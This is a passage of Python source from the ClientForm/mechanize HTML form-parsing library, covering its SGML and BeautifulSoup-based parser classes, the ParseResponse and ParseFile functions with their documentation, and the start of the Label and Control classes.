FormParser(_AbstractSgmllibParser, sgmllib.SGMLParser): """Good for tolerance of incorrect HTML, bad for XHTML.""" def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): sgmllib.SGMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: sgmllib.SGMLParser.feed(self, data) except SGMLLIB_PARSEERROR as exc: raise ParseError(exc) def close(self): sgmllib.SGMLParser.close(self) self.end_body() # sigh, must support mechanize by allowing dynamic creation of classes based on # its bundled copy of BeautifulSoup (which was necessary because of dependency # problems) def _create_bs_classes(bs, icbinbs, ): class _AbstractBSFormParser(_AbstractSgmllibParser): bs_base_class = None def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): _AbstractFormParser.__init__(self, entitydefs, encoding) self.bs_base_class.__init__(self) def handle_data(self, data): _AbstractFormParser.handle_data(self, data) self.bs_base_class.handle_data(self, data) def feed(self, data): try: self.bs_base_class.feed(self, data) except SGMLLIB_PARSEERROR as exc: raise ParseError(exc) def close(self): self.bs_base_class.close(self) self.end_body() class RobustFormParser(_AbstractBSFormParser, bs): """Tries to be highly tolerant of incorrect HTML.""" pass RobustFormParser.bs_base_class = bs class NestingRobustFormParser(_AbstractBSFormParser, icbinbs): """Tries to be highly tolerant of incorrect HTML. Different from RobustFormParser in that it more often guesses nesting above missing end tags (see BeautifulSoup docs). """ pass NestingRobustFormParser.bs_base_class = icbinbs return RobustFormParser, NestingRobustFormParser try: if sys.version_info[:2] < (2, 2): raise ImportError # BeautifulSoup uses generators import BeautifulSoup except ImportError: pass else: RobustFormParser, NestingRobustFormParser = _create_bs_classes( BeautifulSoup.BeautifulSoup, BeautifulSoup.ICantBelieveItsBeautifulSoup ) __all__ += ['RobustFormParser', 'NestingRobustFormParser'] #FormParser = XHTMLCompatibleFormParser # testing hack #FormParser = RobustFormParser # testing hack def ParseResponseEx(response, select_default=False, form_parser_class=FormParser, request_class=_urllib.request.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=_urllib.parse.urljoin, _urlparse=_urllib.parse.urlparse, _urlunparse=_urllib.parse.urlunparse, ): """Identical to ParseResponse, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(response, response.geturl(), select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseFileEx(file, base_uri, select_default=False, form_parser_class=FormParser, request_class=_urllib.request.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=_urllib.parse.urljoin, _urlparse=_urllib.parse.urlparse, _urlunparse=_urllib.parse.urlunparse, ): """Identical to ParseFile, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(file, base_uri, select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseResponse(response, *args, **kwds): """Parse HTTP response and return a list of HTMLForm instances. The return value of urllib2.urlopen can be conveniently passed to this function as the response parameter. ClientForm.ParseError is raised on parse errors. response: file-like object (supporting read() method) with a method geturl(), returning the URI of the HTTP response select_default: for multiple-selection SELECT controls and RADIO controls, pick the first item as the default if none are selected in the HTML form_parser_class: class to instantiate and use to pass request_class: class to return from .click() method (default is _urllib.request.Request) entitydefs: mapping like {"&": "&", ...} containing HTML entity definitions (a sensible default is used) encoding: character encoding used for encoding numeric character references when matching link text. ClientForm does not attempt to find the encoding in a META HTTP-EQUIV attribute in the document itself (mechanize, for example, does do that and will pass the correct value to ClientForm using this parameter). backwards_compat: boolean that determines whether the returned HTMLForm objects are backwards-compatible with old code. If backwards_compat is true: - ClientForm 0.1 code will continue to work as before. - Label searches that do not specify a nr (number or count) will always get the first match, even if other controls match. If backwards_compat is False, label searches that have ambiguous results will raise an AmbiguityError. - Item label matching is done by strict string comparison rather than substring matching. - De-selecting individual list items is allowed even if the Item is disabled. The backwards_compat argument will be deprecated in a future release. Pass a true value for select_default if you want the behaviour specified by RFC 1866 (the HTML 2.0 standard), which is to select the first item in a RADIO or multiple-selection SELECT control if none were selected in the HTML. Most browsers (including Microsoft Internet Explorer (IE) and Netscape Navigator) instead leave all items unselected in these cases. The W3C HTML 4.0 standard leaves this behaviour undefined in the case of multiple-selection SELECT controls, but insists that at least one RADIO button should be checked at all times, in contradiction to browser behaviour. There is a choice of parsers. ClientForm.XHTMLCompatibleFormParser (uses HTMLParser.HTMLParser) works best for XHTML, ClientForm.FormParser (uses sgmllib.SGMLParser) (the default) works better for ordinary grubby HTML. Note that HTMLParser is only available in Python 2.2 and later. You can pass your own class in here as a hack to work around bad HTML, but at your own risk: there is no well-defined interface. """ return _ParseFileEx(response, response.geturl(), *args, **kwds)[1:] def ParseFile(file, base_uri, *args, **kwds): """Parse HTML and return a list of HTMLForm instances. ClientForm.ParseError is raised on parse errors. file: file-like object (supporting read() method) containing HTML with zero or more forms to be parsed base_uri: the URI of the document (note that the base URI used to submit the form will be that given in the BASE element if present, not that of the document) For the other arguments and further details, see ParseResponse.__doc__. """ return _ParseFileEx(file, base_uri, *args, **kwds)[1:] def _ParseFileEx(file, base_uri, select_default=False, ignore_errors=False, form_parser_class=FormParser, request_class=_urllib.request.Request, entitydefs=None, backwards_compat=True, encoding=DEFAULT_ENCODING, _urljoin=_urllib.parse.urljoin, _urlparse=_urllib.parse.urlparse, _urlunparse=_urllib.parse.urlunparse, ): if backwards_compat: deprecation("operating in backwards-compatibility mode", 1) fp = form_parser_class(entitydefs, encoding) while 1: data = file.read(CHUNK) try: fp.feed(data) except ParseError as e: e.base_uri = base_uri raise if len(data) != CHUNK: break fp.close() if fp.base is not None: # HTML BASE element takes precedence over document URI base_uri = fp.base labels = [] # Label(label) for label in fp.labels] id_to_labels = {} for l in fp.labels: label = Label(l) labels.append(label) for_id = l["for"] coll = id_to_labels.get(for_id) if coll is None: id_to_labels[for_id] = [label] else: coll.append(label) forms = [] for (name, action, method, enctype), attrs, controls in fp.forms: if action is None: action = base_uri else: action = six.text_type(action, "utf8") if action and isinstance(action, six.binary_type) else action action = _urljoin(base_uri, action) # would be nice to make HTMLForm class (form builder) pluggable form = HTMLForm( action, method, enctype, name, attrs, request_class, forms, labels, id_to_labels, backwards_compat) form._urlparse = _urlparse form._urlunparse = _urlunparse for ii in xrange(len(controls)): type, name, attrs = controls[ii] # index=ii*10 allows ImageControl to return multiple ordered pairs form.new_control( type, name, attrs, select_default=select_default, index=ii*10) forms.append(form) for form in forms: try: form.fixup() except AttributeError as ex: if not any(_ in str(ex) for _ in ("is disabled", "is readonly")): raise return forms class Label: def __init__(self, attrs): self.id = attrs.get("for") self._text = attrs.get("__text").strip() self._ctext = compress_text(self._text) self.attrs = attrs self._backwards_compat = False # maintained by HTMLForm def __getattr__(self, name): if name == "text": if self._backwards_compat: return self._text else: return self._ctext return getattr(Label, name) def __setattr__(self, name, value): if name == "text": # don't see any need for this, so make it read-only raise AttributeError("text attribute is read-only") self.__dict__[name] = value def __str__(self): return "" % (self.id, self.text) def _get_label(attrs): text = attrs.get("__label") if text is not None: return Label(text) else: return None class Control: """An HTML form control. An HTMLForm contains a sequence of Controls. The Controls in an HTMLForm are accessed using the HTMLForm.find_control method or the HTMLForm.controls attribute. Control instances are usually constructed using the ParseFile / ParseResponse functions. If you use those functions, you can ignore the rest of this paragraph. A Control is only properly initialised after the fixup method has been called. In fact, this is only strictly necessary for ListControl instances. This is necessary because ListControls are built up from ListControls each containing only a single item, and their initial value(s) can only be known after the sequence is complete. The types and values that are acceptable for assignment to the value attribute are defined by subclasses. If the disabled attribute is true, this represents the state typically represented by browsers by 'greying out' a control. If the disabled attribute is true, the Control will raise AttributeError if an attempt is made to change its value. In addition, the control will not be considered 'successful' as defined by the W3C HTML 4 standard -- ie. it will contribute no data to the return value of the HTMLForm.click* methods. To enable a control, set the disabled attribute to a false value. If the readonly attribute is true, the Control will raise AttributeError if an attempt is made to change its value. To make a control writable, set the readonly attribute to a false value. All controls have the disabled and readonly attributes, not only those that may have the HTML attributes of the same names. On assignment to the value attribute, the following exceptions are raised: TypeError, AttributeError (if the value attribute should not be assigned to, because the control is disabled, for example) and ValueError. If the name or value attributes are None, or the value is an empty list, or if the control is disabled, the control is not successful. Public attributes: type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) (readonly) name: name of control (readonly) value: current value of control (subclasses may allow a single value, a sequence of values, or either) disabled: disabled state readonly: readonly state id: value of id HTML attribute """ def __init__(self, type, name, attrs, index=None): """ type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) name: control name attrs: HTML attributes of control's HTML element """ raise NotImplementedError() def add_to_form(self, form): self._form = form form.controls.append(self) def fixup(self): pass def is_of_kind(self, kind): raise NotImplementedError() def clear(self): raise NotImplementedError() def __getattr__(self, name): raise NotImplementedError() def __setattr__(self, name, value): raise NotImplementedError() def pairs(self): """Return list of (key, value) pairs suitable for passing to urlencode. """ return [(k, v) for (i, k, v) in self._totally_ordered_pairs()] def _totally_ordered_pairs(self): """Return list of (key, value, index) tuples. Like pairs, but allows preserving correct ordering even where several controls are involved. """ raise NotImplementedError() def _write_mime_data(self, mw, name, value): """Write data for a subitem of this control to a MimeWriter.""" # called by HTMLForm mw2 = mw.nextpart() mw2.addheader("Content-Disposition", 'form-data; name="%s"' % name, 1) f = mw2.startbody(prefix=0) f.write(value) def __str__(self): raise NotImplementedError() def get_labels(self): """Return all labels (Label instances) for this control. If the control was surrounded by a